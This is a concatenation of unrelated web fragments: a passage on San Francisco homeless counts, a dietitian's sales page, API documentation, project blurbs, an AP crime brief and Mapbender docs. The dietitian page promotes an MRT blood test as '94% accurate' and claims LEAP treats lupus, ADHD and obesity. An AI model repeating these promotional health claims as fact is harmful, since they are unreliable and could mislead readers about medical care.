Friedenbach estimates there are closer to 13,000 homeless people in the city over the course of an entire year.
While Public Health’s database shows the homeless population is getting older, sicker, and spending more time on the streets, it also suggests there are now fewer of them in San Francisco. In 2007, the city health department recorded nearly 12,000 homeless individuals.
The data run counter to the point-in-time estimates. Both HUD and the biennial count show the number of homeless, particularly those without shelter, has grown over the past decade — a trend that matches public perception in the city.
“I’ve been here 26 years, and the homeless problem is worse than it has ever been,” said Candace Combs, a massage studio owner and president of the Mission Creek Merchants Association. “When I walk by these encampments, as a woman, it doesn’t feel safe.”
Combs isn’t the only person concerned about the growing number of tarps and tents on the sidewalks; there has been a surge in 311 complaints regarding encampments in recent years.
In 2013, the city’s 311 line recorded 898 encampment-related grievances, or between two and three per day, according to a Chronicle analysis. As of mid-May this year, there had been 6,982 complaints about homeless camps, or more than 50 per day. (Andy Maimoni, deputy director of 311, attributed some of the growth to a new category for homeless camps added to the mobile app in October.)
311 complaints, of course, don’t measure the number of homeless people, but public sentiment. The spike in such grievances may not reflect a growing homeless population, just a more visible one.
“There used to a be a lot of marginal space, but that has become valuable real estate in a lot of places,” Lee, of Penn State, said, referring not just to the situation in San Francisco, but many parts of the nation. “You might be seeing more people out and about, but it could be because they have nowhere else to go.”
The difficulty of accurately tracking how many people are homeless isn’t unique to San Francisco. Due to its often transient and temporary nature, it’s virtually impossible to make a precise count of homeless individuals.
“I don’t think any city will ever say, ‘We feel confident that we have counted every single homeless person,’” said Nan Roman, president of National Alliance to End Homelessness in Washington, D.C. “But you can get close, you can get the dimensions, and if you’re consistent in the count methodology, you can measure progress from year to year.”
Currently, San Francisco doesn’t have a single information network to track homeless people, but rather a number of separate databases managed by different service providers. Jeff Kositsky, director of San Francisco’s new Department of Homelessness and Supportive Housing, hopes to solve that problem.
Kositsky plans to unite the disparate homeless information systems, including the Department of Public Health’s CCMS, allowing the city to better track its neediest residents and connect them to appropriate services — whether that’s housing, a shelter bed or medical care.
Putting all services under one roof should not only make it easier for the city to track the number of people living on the streets, it should also make it simpler for homeless people to access care.
“If you’re homeless, you may need to be assessed three, four different times, answering the same questions each time; it’s unfair, inefficient and not respectful of people we’re trying to serve,” Kositsky said. “Clients have to get into many different lines to access services, and we’re going to ask them to get into one line.”
Kositsky anticipates the new homeless system will be partially running by next October, and fully functional by the fall of 2018.


Welcome! to Anica's Blogpost. Here you will find access to content related to technology, science , math and computer science.
For more info on my latest projects please visit my github page


Creating a bridge between you and the food that nourishes you.
Approaching Nutrition Goals
With significant culinary and nutrition counseling experience, I can help you create and reach your personal health goals. We’ll work together to find the best ways that are personalized for YOU – no cookie cutter approach! And we’ll take this journey in bite-sized chunks, so that you’re not overwhelmed.
Keep up with the best ways of staying healthy without becoming overwhelmed! Hiring a certified dietition like Cindy can take bite sized chunks of one of the fastest growing and cutting-edge nutrition solutions.
Eating well with health challenges
Making the right dietary choices has been shown to reduce the risk of developing or reversing many of the most common health issues facing us today in Hawaii.
Cindy Hartman
The Dietitian behind Food For Heart
Registered Dietitian Nutritionist since 2007
Licensed Dietitian (Hawaii license # 243-LD)
Certified LEAP Therapist since 2009
Ornish-certified Nutrition Element Specialist
Clinical, out-patient, long-term care, and teaching experience
Cindy Hartman’s passion for nutrition was ignited when taking a nutrition class in nursing school. There she learned that dietary and lifestyle changes could greatly reduce the risk of developing a chronic disease, like heart disease, type 2 diabetes, or cancer.
Cindy’s move towards positive nutrition
Cindy decided to leave nursing school because, as she puts it, "I didn't want to be part of a band-aid approach to health care, one that focuses primarily on medication and surgery, not prevention." When Medicare approved reimbursable out-patient consults with a dietitian for people diagnosed with diabetes, Cindy returned to college at the University of Hawaii - Manoa to study nutrition and become a registered dietitian. Her degree is in Food Science and Human Nutrition.
Mixing and mashing food and nutrition
Cindy has lived in Hawaii for over 25 years. She started Food for Heart: an on-site, vegetarian catering business for workshops and retreats in Hawaii. She was a Nutrition Education Coordinator at the San Antonio Food Bankand served on the American Heart Association’s Speakers Bureau while living there; taught Culinary Nutrition to culinary arts students at St. Louis Community College; consulted for assisted living, long-term, and memory care facilities; and taught the Nutrition Element component in the Ornish Lifestyle Medicine Program at Hilo Medical Center, where she also worked as a clinician.
Testimonials
I've had the pleasure of knowing and working with Cindy for over ten years and through her dietary guidance and dedication she's made a positive impact on the quality of my life. She's a knowledgeable counselor who is passionate about her craft and truly lives what she teaches and guides others to do, yet doesn't force a specific regimen but allows you to form her knowledge into a plan that works for you personally.
Debbie Atwood; Former Client
Cindy catered for our monthly dolphin retreats in Hawaii for ten years. She was the ultimate gourmet chef and met every specific dietary need of our participants. Cindy is one of those people who goes way beyond expectations, and we highly recommend her important work.
Doug Hackett and Trish Regan; Owners Dolphin\Spirit of Hawaii
I'm so honored to let everyone know about Cindy Hartman and what a wonderful and caring Dietitian she is! I was diagnosed as a pre-diabetic five years ago. The doctor seemed shocked I wanted to "fight this" and win! Several doctors just say start on medication, do blood sticks. NOPE! He referred me to Cindy to begin my battle. Cindy was extremely understanding and is also a person that helps you fight the battle and wants you to win! She is extremely easy to talk to and a delight to know. I felt like a true friend when I left my appointment. She gave me a great plan to follow and took away a lot of fear. I am still "winning" after five years by counting carbs and exercising (I lack on that part a bit). I would highly recommend Cindy to take care of all your needs, she truly cares and in this world, to me, that's hard to find and of utmost importance. I trust her with my life! Thank you Cindy for helping me”!!
Kimberly Tremmel
Nutrition Services
Nutrition for body and soul
Personalized Medical Nutrition Therapy, with an emphasis on Integrative and Functional Nutrition
Medicare and Medicaid insurance currently accepted. Private pay accepted.
“Change is the name of the dance.” (Aurora Terrenus) Change doesn’t come overnight; did you learn to dance after just one class? Nope, neither did I. Change requires desire, effort, and time. After an initial 60 to 90 minute consult, I strongly encourage you to meet with me for additional sessions; that number depends on your goals and your body’s response to the changes you make. I’m flexible with scheduling and happy to accommodate your availability (evening and weekend appointments are also available).
Interested in hiring an expert speaker on the topics of food and nutrition? Cindy has been in the business of food and nutrition for four decades. Her experience includes retail management in the natural foods industry (in Hawaii and Illinois), entrepreneurship (as a chef/owner of a catering company in Hawaii), teaching at the Community College level, and clinical dietetics experience (critical and long-term care). Cindy was on the American Heart Association’s Speakers Bureau while working at the San Antonio Food Bank. Presentation will be tailor-made for your event.
Looking to up your game in the kitchen with all the best health-promoting foods? Healthy meals, prepared with love and quality ingredients, really do taste better, and they reduce your risk of developing chronic diseases. Cindy has a diverse culinary background, from cooking on barges to catering private dinners for professional athletes and Academy Award winners. She owned a vegetarian + local fish catering company for 20 years in Hawaii, where she specialized in on-site food preparation for workshops and retreats. She has also taught Nutrition for Culinary Professionals to culinary arts students at the Community College level. Cindy will tailor your menu to your food preferences, your health issues, your cooking ability, and your budget; she can also work with you, your kitchen staff or your personal chef to ‘healthify’ your favorite recipes.
Tailored Supermarket Tours
Do you know where the action steps for becoming healthier start? In the grocery store! Cindy will teach you how to navigate the grocery store and read food labels with your nutrition goals and health issues in mind.
Your Diabetes and You
Maneuvering the medical system with Diabetes
A step in the right direction for American medecine
On January 1, 2002, Medicare extended coverage to beneficiaries diagnosed with diabetes; previously, only chronic kidney disease was a reimbursable diagnosis for patients seeking Medical Nutrition Therapy with a dietitian. This approval indicated to Cindy that a baby step forward had been made by the Western medical model, a step that recognized the importance of nutrition in preventing disease. This was the catalyst for Cindy’s return to college to study nutrition and become a dietitian.
Getting care with the American Healthcare System
Medicare will cover three hours of out-patient consultation with a dietitian during the first year of being referred by your physician; two hours per year are covered by Medicare after that. Cindy’s nutrition mission is to arm you with the knowledge of how to keep your body healthy and your diabetes under control.
Fighting Heart Disease With an Ornish-certified Nutrition Element Specialist
Fighting Heart Disease With an Ornish-certified Nutrition Element Specialist
Walking through Ornish with Cindy
The Ornish program, developed by Dr Dean Ornish, is an acute cardiac rehab program composed of four Elements: Physical Activity, Nutrition, Stress Management, and Group Support. This program has been shown to reverse heart disease, as well as Stage 1 prostate cancer. Cindy Hartman is an Ornish-certified Nutrition Element Specialist and has guided hundreds of participants successfully through the Nutrition component of this program.
Where an Ornish program can take you
If you're a graduate of the Ornish program, I can support your continued success. I have also worked extensively with patients in traditional cardiac rehab programs and can teach you how to prepare and choose foods when dining out, so that you're around when your grandchildren have kids of their own.
Cindy Hartman, Owner, Food For Heart
Coping with Inflammation using LEAP
Coping with Inflammation using LEAP
Is your food making you sick?
Inflammation has been implicated in the development of chronic diseases, like heart disease, type 2 diabetes, and cancer. It’s important to know that generic recommendations for an anti-inflammatory diet can actually CAUSE inflammation, as diet-related inflammation is specific to each one of us. Cindy has been a Certified LEAP Therapist for over 10 years. She has treated patients that suffer from a multitude of inflammatory, diet-related health issues (such as irritable bowel syndrome, migraine headaches, rheumatoid arthritis, and fibromyalgia) caused by food and food chemicals. She implements the patented Mediator Release blood test (MRT) to identify what is specifically causing YOUR symptoms, then creates an eating plan to provide lasting relief for your diet-related health issues.
Lifestyle Eating And Performance (LEAP)
LEAP is a dietary protocol based on the results of a specific blood test that can predict at 94% accuracy any given person’s food sensitivities. The blood test is called the Mediator Response Test (MRT). MRT identifies which foods or food chemicals are inflammatory for YOU. Every person’s body is different, so don’t be fooled by other people’s standards of healthy food. Even foods like broccoli, oranges, and ginger can cause inflammation.
Commonly treated conditions with LEAP
- Migraine headaches,
- Irritable bowel syndrome
- Rheumatoid arthritis
- Lupus
- Psoriasis
- Fibromyalgia
- Attention deficit
- Hyperactivity
- Obesity
How you and Cindy can plan for success
Using your personalized MRT results, Cindy can work with you to design a personalized food program. determining what foods and/or food chemicals are causing your symptoms.
Overcoming Inflammation
If you’re experiencing inflammation or other disease state related issues, it is very likely you will respond favorably to LEAP with a chance to completely eliminate symptoms.
Some try to cover these symptoms up, but this is never going to be a lasting treatment to any condition. On the other hand, LEAP treats the underlying cause of those symptoms.
The role that Food Allergies and hypersensitivities play
Food allergies involve your immune system and can be life-threatening, such as a peanut or shell-fish allergy. Food intolerances however, involve your digestive system, not your immune system, and can include gluten- and lactose-intolerance. It can take up to four days to develop symptoms, so these may initially be difficult to identify. With the experience of facilitating gluten-free support groups for many years, Cyndy can get you set up for recovery. She specializes in gluten intolerance, including celiac disease.
Integrative and Functional Medical Nutrition Therapy
With Cindy, you will be focusing on a version of LEAP that is considered Integrative and Functional Medical Nutrition Therapy (IFMNT - formerly Complementary and Alternative Medicine). This cutting edge nutrition program is still developing certifications which Cindy is actively pursuing. This lifelong learning method is one of the many things that makes Cindy love being a dietitian!
Integrative and Functional Medical Nutrition Therapy (IFMNT)
Integrative and Functional Medical Nutrition Therapy (IFMNT)
Cindy Hartman's work with LEAP has been long inspired by IFMNT. This field was formerly known as CAM or Complementary and Alternative Medicine. Cindy is currently enrolled in a three-year program that will result in an IFMNT certification. My knowledge is limited in this field but growing every day! That's one of many things I LOVE about being a dietitian, the life-long learning.


Your funds are safe. We are currently performing some maintenance on the exchange and have disabled access temporarily.


JavaScript is disabled on your browser.
Skip navigation links
Overview
Package
Class
Use
Tree
Deprecated
Index
Help
Prev Letter
Next Letter
Frames
No Frames
All Classes
A
B
C
D
E
G
H
I
L
N
P
R
S
T
V
W
G
GasStationTest
- Class in
lcArraysLinkedListsStringsTest
GasStationTest()
- Constructor for class lcArraysLinkedListsStringsTest.
GasStationTest
GasStattion
- Class in
lcArraysLinkedListsStrings
GasStattion()
- Constructor for class lcArraysLinkedListsStrings.
GasStattion
get(int)
- Method in class lcArraysLinkedListsStrings.
LRUCache
GrayCode
- Class in
lcArraysLinkedListsStrings
Problem: The gray code is a binary numeral system where two successive values differ in only one bit.Given a non-negative integer n representing the total number of bits in the code, print the sequence of gray code.
GrayCode()
- Constructor for class lcArraysLinkedListsStrings.
GrayCode
grayCode(int)
- Method in class lcArraysLinkedListsStrings.
GrayCode
Solution: i = 1, 01 i = 2, 0110 00 01 11 10 i = 3, 00 01 11 10 10 11 01 00 000 001 011 010 110 111 101 100 Every time symmetric it, and first half add 0, last half add 1.
GrayCodeTest
- Class in
lcArraysLinkedListsStringsTest
GrayCodeTest()
- Constructor for class lcArraysLinkedListsStringsTest.
GrayCodeTest
A
B
C
D
E
G
H
I
L
N
P
R
S
T
V
W
Skip navigation links
Overview
Package
Class
Use
Tree
Deprecated
Index
Help
Prev Letter
Next Letter
Frames
No Frames
All Classes


CSS: Adding style
Here's a styled up html page. You style html using CSS, adding colors, margins, animations. The CSS in this case is right in the "style" tag of this html. It's nested below the "head" tag, which normally holds any metadata about the page. It's placed here so that the browser reads it first before trying to display any of the content within the "body" tag.
(check the title of this page on the tab in your browser, it's the same as the title tag in the head!)
You can do all sorts of crazy things with css, so I won't dwell on it here.  Notice the 'transition' property in the css for 'circle':
If you're looking at the source for this page, you'll notice the size of the css. It can get to be alot pretty quickly. While here it's included entirely within the page souce, we can (and should) split it out into its own files. This way multiple pages can reuse some of the css, for instance if we want every button to look the same way.


Methods
addTagsToSet(arr, set)
Function that takes in an array and a set.
Checking for the @ and recoginize
it as a tag and include it in the set of all
notes that include that tag. Check to see
if it is a reserved word.
Parameters:
| Name | Type | Description |
|---|---|---|
arr |
Array | Array of user input from CLI |
set |
Set | Set of tags of user input from CLI |
argvToString(arr)
Function that takes in an array and will
convert an argument into a string. This is
going to remove all @
Parameters:
| Name | Type | Description |
|---|---|---|
arr |
Array | Array of user input from CLI |
Returns:
string
date(arr)
Function that takes in array and formats
it into and JSON object. Executes a superagent call
and will post object to mongo. This allows you to
insert a specifc date so you are able to view notes
taken on that date.
Parameters:
| Name | Type | Description |
|---|---|---|
arr |
Array | Array of user input from CLI |
Returns:
JSON objcet and 200 status code
deleteall(arr)
Function that takes in array and formats
it into a JSON object. Executes a superagent call
and will post object to mongo. This will allow you
to competely clear out your notes by deleting them all.
Parameters:
| Name | Type | Description |
|---|---|---|
arr |
Array | Array of user input from CLI |
Returns:
JSON object and 200 status code
deleteStuff(arr)
Function that takes in an array and formats
it into a JSON object. Executes a superagent call
and will post object to mongo. This allows you to
delete the last not that yoou had saved. Or if you
include a tag it will delete all notes that contian that tag.
Parameters:
| Name | Type | Description |
|---|---|---|
arr |
Array | Array of user input from CLI |
Returns:
JSON object and 200 status code
formatObject(arr)
Function is used to format the arr into
a JSON object. Create a set that will be
the tags set in your notes.
Parameters:
| Name | Type | Description |
|---|---|---|
arr |
Array | Array of user input from CLI |
Returns:
string with tags
help()
Function that helps you view
commands that are available within
the package.
newStuff(arr)
Function that takes in an array and formats
it into a JSON object. Executes a superagent call
and will to post object to mongo database.
Parameters:
| Name | Type | Description |
|---|---|---|
arr |
Array | Array of user input from CLI |
Returns:
JSON object and 200 status code
show(arr)
Function that takes in an array and formats
it into a JSON object. Checks to see if you have
notes saved, if no then it will show you the last note
else it will show you all of your notes.
Parameters:
| Name | Type | Description |
|---|---|---|
arr |
Array | Array of user input from CLI |
showall(arr)
Function that takes in an array and formats
it into a JSON object. Executes a superagent call
and will post object to mongo. This is going to show you all
off the notes that you have created.
Parameters:
| Name | Type | Description |
|---|---|---|
arr |
Array | Array of user input from CLI |
Returns:
JSON object and 200 status code
showlast(arr)
Function that takes in an array and formats
it into a JSON object. Executes a superagent call
and will post object to mongo. This is going to allow
you to view the last note that you have saved.
Parameters:
| Name | Type | Description |
|---|---|---|
arr |
Array | Array of user input from CLI |
Returns:
JSON object and 200 status code
timeStamp()
Function that will take in a date and then
format it into the required format specified.
Returns:
the date in the correct format
writeFile(newSet)
Function takes in a new set that is an
object. Holds data that will go in to
file.
Parameters:
| Name | Type | Description |
|---|---|---|
newSet |
Set | turns set into an array |
- Source:


About
Data enthusiast and useR trying to climb the learning curve
Living in Aalborg, Denmark, holds an MSc in economics from Aalborg University and working as a business developer within the banking industry
This is a personal repository of lighthearted pet projects - primarily of the data-related and statistical kind. Should anyone find some of the content here just slighty interesting, then great! But mainly it's just me goofing around with different analytical tools and methods hoping to evolve my skillset. Don't hesitate to contact me regarding any matter or if you have suggestion/corrections to any of the posts/projects.


Functions | |
| (void) | + CrystalSession::activateCrystalPullTabOnNewsFromScreenEdge: |
| Activates the Crystal pull tab user interface on the 'News' screen. This is a basic news feed that features adverts and three modes of display. | |
| (void) | + CrystalSession::activateCrystalPullTabOnNewsFromScreenEdge:closed: |
| Activates the Crystal pull tab user interface on the 'News' screen in the specified closed state. This is a basic news feed that features adverts and three modes of display. | |
| (void) | + CrystalSession::activateCrystalPullTabOnLeaderboardsFromScreenEdge: |
| Activates the Crystal pull tab user interface on the 'Leaderboards' screen. | |
| (void) | + CrystalSession::activateCrystalPullTabOnLeaderboardWithId:fromScreenEdge: |
| Activates the Crystal pull tab user interface with a specific leaderboard to be displayed. | |
| (void) | + CrystalSession::activateCrystalPullTabOnGiftsFromScreenEdge: |
| Activates the Crystal pull tab user interface on the 'Gifting' screen. | |
| (void) | + CrystalSession::activateCrystalPullTabOnChallengesFromScreenEdge: |
| Activates the Crystal pull tab user interface on the 'challenges' screen. | |
| (void) | + CrystalSession::activateCrystalPullTabOnAchievementsFromScreenEdge: |
| Activates the Crystal pull tab user interface on the 'achievements' screen. | |
| (void) | + CrystalSession::deactivateCrystalPullTab |
| Deactivates the Crystal pull tab user interface. This will animate the pull tab off screen. | |
| (void) | - CrystalSessionDelegate-p::splashScreenFinishedWithActivateCrystal: |
| Reports to the client that the Crystal splash screen has been dismissedAfter the Crystal splash dialog (displaySplashScreen) has been dismissed the client will be notified with this method. The method can be used to resume the normal game startup and UI, and also to immediately activate the Crystal UI and encourage sign-up. | |
| (void) | - CrystalSessionDelegate-p::crystalUiDeactivated |
| Reports to the client that the Crystal UI has been closed.This is a good place to reactivate the game from a paused state and reactivate sound. | |
| (void) | - CrystalSessionDelegate-p::crystaliPadPopoversActivated: |
| Reports to the client that the iPad popovers have been activated or deactivatedSome titles may wish to disable parts of their menu sytem when the Crystal popovers are visible. During the period that the popovers are visible the game's screen is greyed and the user cannot interact with your menu system. Tapping any area of the screen outside of the Crystal UI removes the grey overlay and normal interaction with your menu system can resume. | |
| (void) | + CrystalSession::lockToOrientation: |
| Locks the crystal UI to the specified orientation.Just call this once after initializing the session. All orientations are supported. If your application supports more than one screen orientation use lockToOrientationList: instead. | |
| (void) | + CrystalSession::lockToOrientationList: |
Locks the crystal UI to the specified list of orientations.Just call this once after initializing the session. All orientations are supported. A typical usage of this call is to limit Crystal to only the landscape orientations like so: [CrystalSession lockToOrientationList:[NSArray arrayWithObjects:[NSNumber numberWithInt:UIDeviceOrientationLandscapeLeft], [NSNumber numberWithInt:UIDeviceOrientationLandscapeRight], nil] ]; | |
| (BOOL) | + CrystalSession::isCrystalUIActive |
| Determine if the Crystal UI is currently active and visible.Returns YES if active and visible, otherwise returns NO. | |
| (void) | + CrystalSession::activateCrystalUI |
| Activates the Crystal user interface with the default view options.On iPhone before calling this method your application should stop rendering and stop sound if not appropriate to the Crystal UI. On iPad this method is used to activate the Crystal navigation tabs at the left of the screen. Please see http://devsupport.crystalsdk.com/default.asp?W8 for more details. | |
| (void) | + CrystalSession::activateCrystalUIAtProfile |
| Activates the Crystal user interface with the 'profile' tab open.On iPhone this is equivelant to calling activateCrystalUI. On iPad this method can be used to activate the Crystal UI from a dedicated Crystal button, though the permanent overlay via activateCrystalUI is preferred. Please see http://devsupport.crystalsdk.com/default.asp?W8 for more details. | |
| (void) | + CrystalSession::activateCrystalUIAtLeaderboards |
| Activates the Crystal user interface with the 'leaderboards' tab open. | |
| (void) | + CrystalSession::activateCrystalUIAtLeaderboardWithId: |
| Activates the Crystal user interface with the 'leaderboards' tab open at the specified leaderboard. | |
| (void) | + CrystalSession::activateCrystalUIAtAchievements |
| Activates the Crystal user interface with the 'achievements' tab open. | |
| (void) | + CrystalSession::activateCrystalUIAtAddFriends |
| Activates the Crystal user interface at the 'Add more friends' screen. | |
| (void) | + CrystalSession::activateCrystalUIAtSettings |
| Activates the Crystal user interface at the 'Settings' screen. | |
| (void) | + CrystalSession::activateCrystalUIAtGifting |
| Activates the Crystal user interface at the gifting and promotions functionality.If the theme for your game has a gifting/promotions tab defined this will open the Crystal UI at this tab. If the theme doesn't have this tab then the UI will be opened at the Profile tab but with the gifting/promotions functionality visible. | |
| (void) | + CrystalSession::activateCrystalUIAtVirtualGoods |
| Activates the Crystal user interface at the virtual goods functionality.If the theme for your game has a gifting/promotions tab defined this will open the Crystal UI at this tab. If the theme doesn't have this tab then the UI will be opened at the Profile tab but with the virtual goods functionality visible. | |
| (void) | + CrystalSession::activateCrystalUIAtVirtualCurrencies |
| Activates the Crystal user interface at the virtual currency functionality.If the theme for your game has a gifting/promotions tab defined this will open the Crystal UI at this tab. If the theme doesn't have this tab then the UI will be opened at the Profile tab but with the virtual currencies functionality visible. | |
| (void) | + CrystalSession::deactivateCrystalUI |
| Forces the Crystal UI to be removed from view.On iPhone in normal circumstances it shouldn't be necessary to call this method, but is added for completeness in case the client receives its own notifications. On iPad this method is used to dismiss the Crystal navigation tabs at the left of the screen. | |
| (void) | + CrystalSession::displaySplashScreen |
| Displays the Crystal splash screenThis method displays the Crystal splash screen to the user above the current game UI. It is the responsibility of the developer to ensure that this dialog is displayed at an appropriate time, generally just after the game is started. When the splash screen has been dismissed splashScreenFinishedWithActivateCrystal: will be called in the delegate. Normally the game would only display this splash screen once to the user. |
| + (void) activateCrystalPullTabOnAchievementsFromScreenEdge: | (NSString *) | edgeString |
Activates the Crystal pull tab user interface on the 'achievements' screen.
| + (void) activateCrystalPullTabOnChallengesFromScreenEdge: | (NSString *) | edgeString |
Activates the Crystal pull tab user interface on the 'challenges' screen.
| + (void) activateCrystalPullTabOnGiftsFromScreenEdge: | (NSString *) | edgeString |
Activates the Crystal pull tab user interface on the 'Gifting' screen.
| + (void) activateCrystalPullTabOnLeaderboardsFromScreenEdge: | (NSString *) | edgeString |
Activates the Crystal pull tab user interface on the 'Leaderboards' screen.
| edgeString | The edge to display the pull tab interface from, one of "right", "left", "top" or "bottom" |
| + (void) activateCrystalPullTabOnLeaderboardWithId: | (NSString *) | leaderboardId | ||
| fromScreenEdge: | (NSString *) | edgeString | ||
Activates the Crystal pull tab user interface with a specific leaderboard to be displayed.
| leaderboardId | The Id of the leaderboard to be displayed | |
| edgeString | The edge to display the pull tab interface from, one of "right", "left", "top" or "bottom" |
| + (void) activateCrystalPullTabOnNewsFromScreenEdge: | (NSString *) | edgeString |
Activates the Crystal pull tab user interface on the 'News' screen. This is a basic news feed that features adverts and three modes of display.
| edgeString | The edge to display the pull tab interface from, one of "right", "left", "top" or "bottom" |
| + (void) activateCrystalPullTabOnNewsFromScreenEdge: | (NSString *) | edgeString | ||
| closed: | (BOOL) | closedState | ||
Activates the Crystal pull tab user interface on the 'News' screen in the specified closed state. This is a basic news feed that features adverts and three modes of display.
| edgeString | The edge to display the pull tab interface from, one of "right", "left", "top" or "bottom" | |
| closed | Whether the news feed is initially closed or not |
| + (void) activateCrystalUI |
Activates the Crystal user interface with the default view options.On iPhone before calling this method your application should stop rendering and stop sound if not appropriate to the Crystal UI.
On iPad this method is used to activate the Crystal navigation tabs at the left of the screen. Please see http://devsupport.crystalsdk.com/default.asp?W8 for more details.
| + (void) activateCrystalUIAtAchievements |
Activates the Crystal user interface with the 'achievements' tab open.
| + (void) activateCrystalUIAtAddFriends |
Activates the Crystal user interface at the 'Add more friends' screen.
| + (void) activateCrystalUIAtGifting |
Activates the Crystal user interface at the gifting and promotions functionality.If the theme for your game has a gifting/promotions tab defined this will open the Crystal UI at this tab. If the theme doesn't have this tab then the UI will be opened at the Profile tab but with the gifting/promotions functionality visible.
| + (void) activateCrystalUIAtLeaderboards |
Activates the Crystal user interface with the 'leaderboards' tab open.
| + (void) activateCrystalUIAtLeaderboardWithId: | (NSString *) | leaderboardId |
Activates the Crystal user interface with the 'leaderboards' tab open at the specified leaderboard.
| leaderboardId | The leaderboard to be displayed |
| + (void) activateCrystalUIAtProfile |
Activates the Crystal user interface with the 'profile' tab open.On iPhone this is equivelant to calling activateCrystalUI. On iPad this method can be used to activate the Crystal UI from a dedicated Crystal button, though the permanent overlay via activateCrystalUI is preferred. Please see http://devsupport.crystalsdk.com/default.asp?W8 for more details.
| + (void) activateCrystalUIAtSettings |
Activates the Crystal user interface at the 'Settings' screen.
| + (void) activateCrystalUIAtVirtualCurrencies |
Activates the Crystal user interface at the virtual currency functionality.If the theme for your game has a gifting/promotions tab defined this will open the Crystal UI at this tab. If the theme doesn't have this tab then the UI will be opened at the Profile tab but with the virtual currencies functionality visible.
| + (void) activateCrystalUIAtVirtualGoods |
Activates the Crystal user interface at the virtual goods functionality.If the theme for your game has a gifting/promotions tab defined this will open the Crystal UI at this tab. If the theme doesn't have this tab then the UI will be opened at the Profile tab but with the virtual goods functionality visible.
| - (void) crystaliPadPopoversActivated: | (BOOL) | activated | [optional, inherited] |
Reports to the client that the iPad popovers have been activated or deactivatedSome titles may wish to disable parts of their menu sytem when the Crystal popovers are visible. During the period that the popovers are visible the game's screen is greyed and the user cannot interact with your menu system. Tapping any area of the screen outside of the Crystal UI removes the grey overlay and normal interaction with your menu system can resume.
| activated | YES if the popovers have been activated or NO if not |
| - (void) crystalUiDeactivated | [optional, inherited] |
Reports to the client that the Crystal UI has been closed.This is a good place to reactivate the game from a paused state and reactivate sound.
| + (void) deactivateCrystalPullTab |
Deactivates the Crystal pull tab user interface. This will animate the pull tab off screen.
| + (void) deactivateCrystalUI |
Forces the Crystal UI to be removed from view.On iPhone in normal circumstances it shouldn't be necessary to call this method, but is added for completeness in case the client receives its own notifications.
On iPad this method is used to dismiss the Crystal navigation tabs at the left of the screen.
| + (void) displaySplashScreen |
Displays the Crystal splash screenThis method displays the Crystal splash screen to the user above the current game UI. It is the responsibility of the developer to ensure that this dialog is displayed at an appropriate time, generally just after the game is started. When the splash screen has been dismissed splashScreenFinishedWithActivateCrystal: will be called in the delegate. Normally the game would only display this splash screen once to the user.
| + (BOOL) isCrystalUIActive |
Determine if the Crystal UI is currently active and visible.Returns YES if active and visible, otherwise returns NO.
| + (void) lockToOrientation: | (UIDeviceOrientation) | orientation |
Locks the crystal UI to the specified orientation.Just call this once after initializing the session. All orientations are supported. If your application supports more than one screen orientation use lockToOrientationList: instead.
| orientation | The orientation to lock the Crystal UI to |
| + (void) lockToOrientationList: | (NSArray *) | orientationList |
Locks the crystal UI to the specified list of orientations.Just call this once after initializing the session. All orientations are supported. A typical usage of this call is to limit Crystal to only the landscape orientations like so: [CrystalSession lockToOrientationList:[NSArray arrayWithObjects:[NSNumber numberWithInt:UIDeviceOrientationLandscapeLeft], [NSNumber numberWithInt:UIDeviceOrientationLandscapeRight], nil] ];
| orientationList | The list of orientations to lock the Crystal UI to |
| - (void) splashScreenFinishedWithActivateCrystal: | (BOOL) | activateCrystal | [optional, inherited] |
Reports to the client that the Crystal splash screen has been dismissedAfter the Crystal splash dialog (displaySplashScreen) has been dismissed the client will be notified with this method. The method can be used to resume the normal game startup and UI, and also to immediately activate the Crystal UI and encourage sign-up.
| activateCrystal | Will be set to YES if the user decided to activate Crystal. The game should activate the crystal UI at the next available opportunity in this case. |


CODE
Racketry
Exercises and projects done in Racket. So far I have a bunch of SICP problems, the Sierpinski triangle project, lambda calculus experiments, and more. The code is meant for you to read and to learn from: there are extensive comments.
Platonic
One day I asked a student (who had peculiar gifts in reasoning about combinatorics) how many distinct ways can you color the vertices, edges and faces of tetrahedrons and cubes? For example, given three colors, how many distinct ways can you color the faces of a cube, ignoring rotations? My student sat there thinking, staring into space, and answered several questions like this.
Since I had no clue myself what the correct answers should be, I wrote a Common Lisp package that uses group theory to compute the ways.
And yes, the student’s answer to every such question turned out to be correct.
Chrysalis
Projects in C++. The Amir problem (combinatorics), NLP tools for generating poetical gibberish from James Joyce, Shakespeare and H. P. Lovecraft (anagrams, markov text), a couple of discrete math problems (nthroot, prime heap) and a command-line utility that transforms CSV student data into a LaTeX report (Gu).
Here’s an example of some brilliant poetry composed with the help of the NLP tools:
Simple Problem Solving Tools
Common lisp package of informatics problem solving tools. They might not be very good, but they are good enough to solve your problem. Will be ported to Racket soon.
At least they were good enough to solve my problems, or at least some of them. I used these tools for Project Euler.
Inside-Out
Experiments in mutual recursion and repeated function application. Written in Guile-scheme for now, to be translated into Racket soon.


A criminal complaint filed in U.S. District Court in Roanoke, Virginia, on Wednesday shows Vanessa Hanson told a U.S. Marshal that she witnessed Michael Alexander Brown fatally shoot her boyfriend, Rodney Wilfred Brown, last Saturday at a home in Hardy.
According to the complaint, Hanson also identified Brown’s getaway vehicle through pictures obtained from a gas station just before the shooting. The vehicle was later found in Clarendon County in South Carolina.
Brown was stationed at Camp Lejeune in North Carolina before he left his post. He remains at large.
A manhunt in Roanoke on Thursday forced school officials to cancel classes.
The Associated Press


Request / Response Workflow¶
Note: We will move that documentation into the Contributing Guide.
This document explains the request/response workflow used in Mapbender3. Essentially there are three workflows you should be familiar with:
- Application workflow
- Element workflow
- Manager module workflow
Application Workflow¶
The standard application controller /application/{slug} is routed the the Mapbender\CoreBundle\Controller\Application::applicationAction($slug) function which does the following:
Basically the controller asks the mapbender service to look for an application with the given slug. The mapbender service first tries to find the application in the database and only if none can be found it looks in the applications defined in the YAML configuration.
The thus loaded entity of class Mapbender\CoreBundle\Entity\Application is tagged with it’s origin in the source attribute which is either Mapbender\CoreBundle\Entity\Application::SOURCE_YAML or Mapbender\CoreBundle\Entity\Application::SOURCE_DB.
The entity is passed in the constructor of the runtime application object of class Mapbender\CoreBundle\Component\Application which has all the logic while the entity holds all the data.
Access checks are not done in the mapbender service, entity or application object but in the controller’s getApplication function - keep in mind if you develop your own controller.
Element Rendering Workflow¶
Upon application rendering, every element is asked to render itself. The workflow is a little tangled but, basically the application asks it’s template to render itself which includes the template iterating over each element and calling the elements render function.
